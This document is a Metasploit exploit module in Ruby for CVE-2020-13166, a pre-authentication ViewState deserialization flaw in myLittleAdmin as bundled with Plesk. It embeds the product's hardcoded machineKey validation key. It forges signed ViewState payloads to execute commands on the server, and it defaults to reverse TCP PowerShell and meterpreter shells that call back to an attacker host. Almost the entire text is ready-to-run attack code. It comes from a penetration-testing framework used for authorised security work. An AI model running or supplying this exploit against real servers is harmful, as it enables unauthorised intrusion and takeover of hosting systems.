Plesk/myLittleAdmin ViewState .NET Deserialization

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  # <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
  VIEWSTATE_GENERATOR = 'CA0B0334'.freeze

  # <machineKey
  #   validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
  #   decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4"
  #   validation="SHA1" />
  VIEWSTATE_VALIDATION_KEY =
    "\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \
    "\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \
    "\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \
    "\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::ViewState
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',
        'Description' => %q{
          This module exploits a ViewState .NET deserialization vulnerability in
          web-based MS SQL Server management tool myLittleAdmin, for version 3.8
          and likely older versions, due to hardcoded <machineKey> parameters in
          the web.config file for ASP.NET.

          Popular web hosting control panel Plesk offers myLittleAdmin as an
          optional component that is selected automatically during "full"
          installation. This exploit caters to the Plesk target, though it
          should work fine against a standalone myLittleAdmin setup.

          Successful exploitation results in code execution as the user running
          myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as
          the "SQL Admin MSSQL anonymous account."

          Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.
        },
        'Author' => [
          # Reported to SSD (SecuriTeam) by an anonymous researcher
          # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)
          'Spencer McIntyre', # Inspiration
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-13166'],
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],
          ['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']
        ],
        'DisclosureDate' => '2020-05-15', # SSD (SecuriTeam) advisory
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 10 # First exploit attempt may be a little slow
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server')
      return CheckCode::Unknown('Target is not running myLittleAdmin.')
    end

    vprint_good("myLittleAdmin is running at #{full_uri}")
    check_viewstate(res.get_html_document)
  end

  def check_viewstate(html)
    viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text

    unless viewstate
      return CheckCode::Detected("__VIEWSTATE not found, can't complete check.")
    end

    @viewstate_generator =
      html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text

    unless @viewstate_generator
      print_warning('__VIEWSTATEGENERATOR not found, using known default value')
      @viewstate_generator = VIEWSTATE_GENERATOR
    end

    # ViewState generator needs to be a packed integer now
    @viewstate_generator = [@viewstate_generator.to_i(16)].pack('V')

    we_can_sign_viewstate = can_sign_viewstate?(
      viewstate,
      extra: @viewstate_generator,
      key: VIEWSTATE_VALIDATION_KEY
    )

    if we_can_sign_viewstate
      return CheckCode::Vulnerable('We can sign our own ViewState.')
    end

    CheckCode::Safe("We can't sign our own ViewState.")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_post' => {
        # This is the only parameter we need for successful exploitation!
        '__VIEWSTATE' => generate_viewstate_payload(
          cmd,
          extra: @viewstate_generator,
          key: VIEWSTATE_VALIDATION_KEY
        )
      }
    )

    unless res && res.code == 302 && res.redirection.path == '/error/index.html'
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

end